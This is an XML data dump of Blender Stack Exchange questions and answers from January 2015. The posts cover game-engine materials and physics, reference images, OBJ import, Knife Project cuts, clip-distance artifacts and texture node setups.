  <row Id="21728" PostTypeId="1" AcceptedAnswerId="21756" CreationDate="2015-01-04T16:36:09.917" Score="1" ViewCount="5183" Body="&lt;p&gt;I have tried this with the materials:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BkGo9.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;D = bpy.data&#xA;&#xA;D.objects['Cube'].material_slots[0].material = D.materials['Material.001']&#xA;&#xA;# material slot 0 is a material that is applied to the object.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the effect is only visible &quot;out of the game&quot;&lt;/p&gt;&#xA;" OwnerUserId="9664" LastEditorUserId="241" LastEditDate="2015-01-04T17:26:04.480" LastActivityDate="2018-02-01T01:48:17.483" Title="How to change an object's material or texture with python script in blender game and for it to be visible?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21729" PostTypeId="1" CreationDate="2015-01-04T16:52:24.563" Score="0" ViewCount="118" Body="&lt;p&gt;I have a physical bullet that spawns and that has an always motion.  When it hits the enemy it does not make him die.  I am trying to have a collision sensor on the enemy to make it end the object with the Edit Object actuator.  Also, on the collision sensor on the enemy, no propertys are in the list even though I added a property to the bullet?  Should the property be in a certain way?  I left it default cause I did not think that mattered.  Please help!&lt;/p&gt;&#xA;" OwnerUserId="9777" LastActivityDate="2015-01-04T17:30:43.320" Title="My bullets dont make the enemy die?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21730" PostTypeId="1" CreationDate="2015-01-04T17:13:50.247" Score="1" ViewCount="7249" Body="&lt;p&gt;How do I open an extra window to display a reference image? How do I import the reference image into the window?&lt;/p&gt;&#xA;" OwnerUserId="9803" LastEditorUserId="241" LastEditDate="2015-01-04T18:11:15.030" LastActivityDate="2015-01-04T18:20:46.763" Title="How to display a reference image in a new window?" Tags="&lt;interface&gt;&lt;image&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21731" PostTypeId="2" ParentId="21730" CreationDate="2015-01-04T17:28:16.317" Score="2" Body="&lt;h1&gt;UV Image Editor&lt;/h1&gt;&#xA;&lt;p&gt;If you wan't to have it next to your 3d view, you can use the UV Image editor. To open a new one, click and drag to your right on the bottom left hand corner of the 3D view.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/04Rzq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You will then see a second 3d view. click on the icon of a cube, and change it to the UV image editor.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aaRfk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-04T18:15:04.293" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21732" PostTypeId="2" ParentId="21729" CreationDate="2015-01-04T17:30:43.320" Score="2" Body="&lt;p&gt;You must type in that property which you added to bullet(there aren't any lists in this sensor) or set collision to bullet's material(M/P, than choose the one that bullet has).&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-01-04T17:30:43.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21733" PostTypeId="1" AcceptedAnswerId="21734" CreationDate="2015-01-04T17:39:02.300" Score="1" ViewCount="523" Body="&lt;p&gt;My rigged and animated human model actually jumps when i press the required key, but doesn't fall again n the ground. I have tried to click the jump motion actuator and/or increase z motion, but the model just floats in the air higher every jump. Help would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="9802" LastEditorUserId="3078" LastEditDate="2015-01-04T17:52:59.143" LastActivityDate="2015-01-04T17:52:59.143" Title="How to make an animated model jump in BGE" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21734" PostTypeId="2" ParentId="21733" CreationDate="2015-01-04T17:39:47.840" Score="0" Body="&lt;p&gt;You can add &lt;code&gt;Character&lt;/code&gt; type physics to your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the &lt;code&gt;Properties&lt;/code&gt; panel, and under the &lt;code&gt;Physics&lt;/code&gt; tab, change the type from &lt;code&gt;Static&lt;/code&gt; to &lt;code&gt;Character&lt;/code&gt; and Check collision bounds; Depending on what your character looks like, you may want to change the &lt;code&gt;Bounds&lt;/code&gt; type. As your character is rigged, you'll have to check &lt;code&gt;Compound&lt;/code&gt;. You also can tweak the settings if you would like to modify the margin between objects, when colliding.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-01-04T17:45:42.510" LastActivityDate="2015-01-04T17:45:42.510" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21735" PostTypeId="2" ParentId="21730" CreationDate="2015-01-04T18:15:23.217" Score="2" Body="&lt;h1&gt;Background Image&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can use a background image in the same 3D view, by adding one in the properties panel on the right side of the view (you can toggle it with &lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I6L80.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-04T18:15:23.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21736" PostTypeId="2" ParentId="21730" CreationDate="2015-01-04T18:20:46.763" Score="2" Body="&lt;h1&gt;Empty&lt;/h1&gt;&#xA;&lt;p&gt;You can also add a background image using an empty. &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&amp;gt;&lt;em&gt;Empty&lt;/em&gt;&amp;gt;&lt;em&gt;Image&lt;/em&gt;. Go into the empty properties panel, and chose your image&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ne8F8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-04T18:20:46.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21737" PostTypeId="1" AcceptedAnswerId="21742" CreationDate="2015-01-04T18:44:37.387" Score="4" ViewCount="1301" Body="&lt;p&gt;Let's presume I have a file with polygons vertices coordinates in any format. I need to import the polygons into Blender. Can it be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9805" LastActivityDate="2015-01-04T19:12:55.050" Title="Import polygons with predefined coordinates" Tags="&lt;import&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21738" PostTypeId="1" AcceptedAnswerId="21750" CreationDate="2015-01-04T18:51:56.237" Score="11" ViewCount="1730" Body="&lt;p&gt;I've been looking at videos that create what is called &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Droste_effect&quot; rel=&quot;noreferrer&quot;&gt;Droste Effect&lt;/a&gt;&lt;/strong&gt; &#xA;where an image contains smaller version of the same image and they spiral ifinitely into each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like Escher's &lt;em&gt;Print Gallery&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z3eij.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J5Zka.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at the math behind this &lt;a href=&quot;http://www.josleys.com/article_show.php?id=82&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; but I don't know I would deform an image recursively to make it repeat itself endlessly,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few videos creating this effect using a tool called Pixel Bender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=CEauXI6fV2A&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=CEauXI6fV2A&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=9WHdyG9mJaI&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=9WHdyG9mJaI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=jrUFx0f_GR0&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=jrUFx0f_GR0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can an image be deformed like on the reference the videos to create an infinite tunnel in blender?&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-04T19:35:03.030" LastActivityDate="2015-01-04T22:19:41.113" Title="Infinite Tunnel Droste effect" Tags="&lt;animation&gt;&lt;uv&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21739" PostTypeId="1" CreationDate="2015-01-04T18:57:59.563" Score="10" ViewCount="3961" Body="&lt;p&gt;How can you render a lightning bolt using Cycles?&lt;/p&gt;&#xA;" OwnerUserId="5460" LastEditorUserId="3078" LastEditDate="2015-04-11T17:25:59.620" LastActivityDate="2018-09-05T11:11:09.040" Title="How to render lightning in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21740" PostTypeId="1" CreationDate="2015-01-04T19:03:43.793" Score="1" ViewCount="2091" Body="&lt;p&gt;I just downloaded Blender, and when I try to open blenderplayer.app it bounces in the dock (I'm on a MacBook Pro using Yosemite) and doesn't open. Can anyone advise me as to what to do? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9807" LastEditorUserId="599" LastEditDate="2015-08-27T19:53:24.993" LastActivityDate="2017-09-04T13:27:25.437" Title="blenderplayer.app won't open" Tags="&lt;game-engine&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21741" PostTypeId="2" ParentId="21740" CreationDate="2015-01-04T19:10:23.497" Score="2" Body="&lt;p&gt;You don't run &lt;code&gt;blenderplayer.app&lt;/code&gt; by itself like that by default, you would launch this from the command line if you wanted to tweak how the game is run (see the arguments it takes &lt;a href=&quot;http://manpages.ubuntu.com/manpages/trusty/man1/blenderplayer.1.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). It is used to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Blender_Player&quot; rel=&quot;nofollow&quot;&gt;execute games&lt;/a&gt; that you exported. To launch the actual application use &lt;code&gt;blender.app&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-01-04T19:15:33.290" LastActivityDate="2015-01-04T19:15:33.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21742" PostTypeId="2" ParentId="21737" CreationDate="2015-01-04T19:12:55.050" Score="6" Body="&lt;p&gt;Your best bet is to use the Wavefront .obj format. As it's written in ASCII, it's fairly easy to generate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple introduction to the specification of this format is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#This is a comment&#xA;&#xA;o Object      #Defines an object named Object&#xA;              #All the vertices, edges and faces below this belong to this object&#xA;              #Until another object is declared&#xA;&#xA;v 1.0 1.0 1.0 #Defines a vertex at the XYZ coordinates 1, 1, 1 &#xA;              #and adds it to the list of vertices, like an array (starts at index 1)&#xA;&#xA;f 1 2 3 4     #Creates a face defined by the indexes 1, 2, 3 and for&#xA;              #Which refer to the vertices in the list above&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&#xA;For the complete specification, please see &lt;a href=&quot;http://www.martinreddy.net/gfx/3d/OBJ.spec&quot; rel=&quot;noreferrer&quot;&gt;this page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To import it, you can just go to the &lt;code&gt;3D View&lt;/code&gt; header, press &lt;code&gt;File&lt;/code&gt;, then &lt;code&gt;Import&lt;/code&gt;, and then &lt;code&gt;Wavefront (.obj)&lt;/code&gt;. This will bring you to the file browser, where you can choose your file, and in the bottom left corner, choose some extra settings.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-04T19:12:55.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21743" PostTypeId="1" CreationDate="2015-01-04T20:21:50.143" Score="0" ViewCount="505" Body="&lt;p&gt;I have upgraded from 2.66a into 2.7, now the gravity behaves weird and i can't get my model to fall smoothly on the ground plane. I think the problem is that i changed the z axis to -z or vice versa. Hoow can i fix this?&lt;/p&gt;&#xA;" OwnerUserId="9802" LastActivityDate="2015-01-04T20:21:50.143" Title="Gravity: How can i change z axis direction?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21744" PostTypeId="2" ParentId="21712" CreationDate="2015-01-04T20:23:05.273" Score="2" Body="&lt;p&gt;Uncheck the Sequencer box in the Post Processing panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y3rS8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-04T20:23:05.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21747" PostTypeId="1" CreationDate="2015-01-04T21:00:06.550" Score="6" ViewCount="1001" Body="&lt;p&gt;All of a sudden, in a particular scene I am working on, the edges of all the models have become partially transparent.  It is like what happens when you have a very small start clipping pane and are looking at a small model up close.  &lt;strong&gt;Except the clipping panes have not been changed, most of the objects in the scene are not very small, and I am not zoomed way in.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qtELF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The crude barn thing pictured in the screenshot is about 30'x25'x26' and the zoom is pretty standard.  This behavior is also not dependent on the zoom, and again, I have not changed the clipping panes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I do have &lt;em&gt;limit selection to visible&lt;/em&gt; checked, it does look similar to what it would if that was disabled, but that is not the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this caused by and technically what is responsible for it?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="2217" LastEditDate="2015-01-05T15:37:25.910" LastActivityDate="2015-01-05T16:02:18.483" Title="What is causing the edges of my models to become semi-transparent?" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21748" PostTypeId="2" ParentId="10640" CreationDate="2015-01-04T21:43:58.793" Score="1" Body="&lt;p&gt;This can also happen if you inadvertently turned on any kind of physics modifiers. (This one took me a good hour to figure out!) Go to the physics tab and make sure that there is nothing present).&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2015-01-04T21:43:58.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21749" PostTypeId="1" AcceptedAnswerId="21753" CreationDate="2015-01-04T21:52:49.363" Score="5" ViewCount="2885" Body="&lt;p&gt;Is it possible to use the Knife Project tool to somehow cut through thickness and extrude the edges that are formed?&lt;br&gt;&#xA;I'm trying to cut through these 4 faces (2 &quot;cubes&quot;) but Knife Project only intercepts a hole into one face. I would like it to extrude the face through multiple planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I simply do this 4 times and connect the edges into faces manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hcjD5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="2217" LastEditDate="2015-06-02T00:36:03.703" LastActivityDate="2015-06-02T00:36:03.703" Title="Knife Project - Extrude through thickness?" Tags="&lt;modeling&gt;&lt;knife-tool&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21750" PostTypeId="2" ParentId="21738" CreationDate="2015-01-04T22:19:41.113" Score="11" Body="&lt;p&gt;here is a messy node setup that  could be turned into one  python node &quot;I'll try to do that &quot; :&lt;br/&gt;&#xA;this is the node setup&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RJRf1.png&quot; alt=&quot;the number of the node-group is the recursion number&quot;&gt;&lt;br/&gt;&#xA;this is the node-group &#xA;&lt;img src=&quot;https://i.stack.imgur.com/7DFE5.png&quot; alt=&quot;the content of the node group&quot;&gt;&lt;br/&gt;&#xA;the object index in the node-group should be that of the &quot;object of interest&quot;, also the is object is unwrapped before. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/HLYXi.png&quot; alt=&quot;these should be the same&quot;&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;finally here is a quick simple render :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pBKnn.png&quot; alt=&quot;after compositing&quot;&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*the UV and ID outputs of the node group are only added to ease hooking up more nodes sequentially &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-01-04T22:19:41.113" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21751" PostTypeId="2" ParentId="21749" CreationDate="2015-01-05T00:06:25.597" Score="0" Body="&lt;p&gt;Since the mesh you are cutting is flat , you can cut on one side &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DOu1y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the circle to the other side and make a knife project&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0nWnu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you can start filling in the hole by making quads/Faces by using F and selectng 4 vertices .&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9dOC8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="1829" LastEditDate="2015-01-05T00:19:05.540" LastActivityDate="2015-01-05T00:19:05.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21752" PostTypeId="2" ParentId="21749" CreationDate="2015-01-05T00:11:45.427" Score="10" Body="&lt;p&gt;Actually, you only need one single circle here instead of two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, after using Knife Project, find &lt;strong&gt;Cut Through&lt;/strong&gt; on the lowerleft corner of the Toolshelf bar, or toggle it on the &lt;kbd&gt;F6&lt;/kbd&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1gZtY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, select each pair, then &lt;kbd&gt;W&lt;/kbd&gt; -&gt;  Bridge Edge Loops, to build faces between them (solidify the holes).&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-01-05T00:11:45.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21753" PostTypeId="2" ParentId="21749" CreationDate="2015-01-05T01:53:58.093" Score="4" Body="&lt;p&gt;Replace your circle with cylinder object and do boolean difference with your main object.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b55Ob.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7474" LastActivityDate="2015-01-05T01:53:58.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21754" PostTypeId="2" ParentId="21719" CreationDate="2015-01-05T02:13:23.273" Score="2" Body="&lt;p&gt;&lt;strong&gt;In order for the textures to appear on the object, you must assign a material that uses the textures.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how you would set up such a material if you are using the cycles render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First go to the &lt;em&gt;materials&lt;/em&gt; section of the &lt;em&gt;properties&lt;/em&gt; view, and click &lt;em&gt;new&lt;/em&gt; to add a new material.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vtrkp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to the &lt;em&gt;node editor&lt;/em&gt; and use a node setup like this to combine the textures.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nKagt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main color of the material comes from the &lt;em&gt;diffuse shader&lt;/em&gt;, which gets its color from the &lt;em&gt;image texture&lt;/em&gt; node plugged into its &lt;em&gt;color&lt;/em&gt; input.  This texture should be the one labeled &quot;diffuse&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gloss map (usually called specularity map, or spec map for short) is used to denote glossiness across the model.  To implement this you use it as the &lt;em&gt;factor&lt;/em&gt; of a &lt;em&gt;mix shader&lt;/em&gt; between a diffuse and a glossy shader.  Make sure the glossy shader is in the bottom socket, since the factor value is the fraction of the &lt;strong&gt;second&lt;/strong&gt; input that contributes to the output.  If you want more control you can add a &lt;em&gt;color ramp&lt;/em&gt; node between the image texture and the mix shader and play with the values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally normal maps are used for altering the surface &lt;a href=&quot;https://blender.stackexchange.com/questions/21190/what-are-face-normals&quot;&gt;normals&lt;/a&gt; to fake small bumps on the object.  The red and green channels of the texture are used to define the x and y components of the normal vector at each point.  To use a normal map simply plug it into the &lt;em&gt;color&lt;/em&gt; input of a &lt;em&gt;normal map&lt;/em&gt; node and plug the &lt;em&gt;normal&lt;/em&gt; output into the &lt;em&gt;normal&lt;/em&gt; input of the shaders you want it to affect, in this case all of them (the duffuse and glossy).&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-01-05T02:27:08.947" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21755" PostTypeId="2" ParentId="21747" CreationDate="2015-01-05T02:24:21.227" Score="5" Body="&lt;p&gt;What you are seeing is directly related with the value on the clip start distance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nblLW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bring up the value a bit and the effect will go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PbCmL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like setting the start clip distance to anything smaller than 0.1 (or 10cm if using metric)  will bring that weird transparency.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-05T06:28:58.977" LastActivityDate="2015-01-05T06:28:58.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21756" PostTypeId="2" ParentId="21728" CreationDate="2015-01-05T04:35:07.723" Score="3" Body="&lt;p&gt;&lt;code&gt;bpy&lt;/code&gt; is the main blender module, it is not available inside the game engine where you should start your scripts with &lt;code&gt;import bge&lt;/code&gt;. In the game engine you use different data structures than the main part of blender. I don't think the bge let's you easily change materials, &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_2/bge.types.KX_MeshProxy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; makes it sound like you need to loop over every poly to change the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a simple way to achieve what you want, using logic bricks to swap mesh objects. First step is to check you have the material linked to the data not the object, data is the default setting so may already be set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yccli.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then duplicating the object and giving the second one the other material. Then you can use an Edit Object actuator to swap meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DUT1b.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-05T04:35:07.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21757" PostTypeId="2" ParentId="21715" CreationDate="2015-01-05T05:32:02.093" Score="9" Body="&lt;p&gt;You can get a dome in the centre without extruding.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add some extra edge loops &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/controls/proportional_editing.html?%5C#proportional-editing&quot; rel=&quot;nofollow noreferrer&quot;&gt;proportional editing&lt;/a&gt; with falloff set to sphere&lt;/li&gt;&#xA;&lt;li&gt;Lift centre piece up, adjusting falloff size as needed (with scroll wheel or &lt;kbd&gt;PageUp&lt;/kbd&gt;/&lt;kbd&gt;PageDown&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iIBcq.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="15924" LastEditDate="2020-10-27T03:33:44.280" LastActivityDate="2020-10-27T03:33:44.280" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21759" PostTypeId="2" ParentId="21647" CreationDate="2015-01-05T06:19:50.343" Score="4" Body="&lt;p&gt;If you change the start clip distance on the camera to a higher number the black edges disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zbmkG.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yLKsh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this has to do with how blender approximates the calculations for the Z-Depth within the clipping distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very well explained here: &lt;a href=&quot;http://blendermama.com/black-faces-error-from-camera-clipping.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blendermama.com/black-faces-error-from-camera-clipping.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this other link: &lt;a href=&quot;https://discoverylinux.wordpress.com/2011/10/08/guida-eliminare-il-flickering-in-blender-2-5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://discoverylinux.wordpress.com/2011/10/08/guida-eliminare-il-flickering-in-blender-2-5/&lt;/a&gt; the author recommends keeping the start and end clip distances to contain only the geometry in the scene for better precision. &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-05T06:41:39.550" LastActivityDate="2015-01-05T06:41:39.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21760" PostTypeId="1" CreationDate="2015-01-05T06:41:46.660" Score="3" ViewCount="145" Body="&lt;p&gt;I'm trying to do some physics based animation, and of course the longer the animation gets, the longer it takes to bake.&lt;br&gt;&#xA;However, I don't need to keep recalculating the first parts of the animation, as they stay the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way re-bake the part of a simulation after a specified frame, without re-baking the whole thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm using rigid body and cloth physics.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-05T06:41:46.660" Title="Is there a way to re-bake only the end part of an existing bake?" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;physics&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
